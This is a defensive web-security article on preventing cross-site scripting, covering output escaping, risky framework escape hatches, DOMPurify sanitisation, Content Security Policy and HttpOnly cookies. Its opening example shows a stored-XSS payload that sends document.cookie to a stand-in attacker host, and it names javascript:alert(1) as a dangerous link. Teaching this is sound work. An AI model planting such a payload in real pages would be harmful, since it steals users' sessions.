Preventing Cross-Site Scripting (XSS) in Modern Web Apps
Cross-site scripting (XSS) lets an attacker run their JavaScript in other users' browsers on your site. With it they can read data on the page, act as the user, or steal tokens kept in JavaScript-accessible storage.
How it happens
// A comment saved as: <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
commentDiv.innerHTML = comment.body; // the browser runs the attacker's code
1. Let the framework escape output
<p>{comment.body}</p> // React escapes this: shown as text, never run
React, Vue, Angular, Svelte and server templates like Jinja and Blade escape by default. Most XSS in modern apps comes from bypassing that.
2. Treat the escape hatches as dangerous
dangerouslySetInnerHTML(React),v-html(Vue),[innerHTML](Angular),{!! !!}(Blade),|safe(Jinja).element.innerHTML,document.write,eval,new Function,setTimeoutwith a string.- URLs from users in
href:javascript:alert(1)is a valid link. Allow onlyhttp:andhttps:.
3. Sanitise HTML you must render
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(post.html, { USE_PROFILES: { html: true } });
return <article dangerouslySetInnerHTML={{ __html: clean }} />;
Use a maintained sanitiser with an allow-list; never write your own regex-based filter. Sanitise on output (or on both input and output), so old stored data is covered too.
4. Add a Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
A strict CSP blocks inline scripts and scripts from other origins, so even if an injection slips through, the attacker's code doesn't run. Start in Content-Security-Policy-Report-Only mode to find what would break.
5. Limit the damage
- Session cookies with
HttpOnlycan't be read by scripts. - Avoid storing long-lived tokens in
localStorage. - Require re-authentication for sensitive actions.
Was this article helpful?
Comments
No comments yet. Have a question or a tip? Be the first to share it.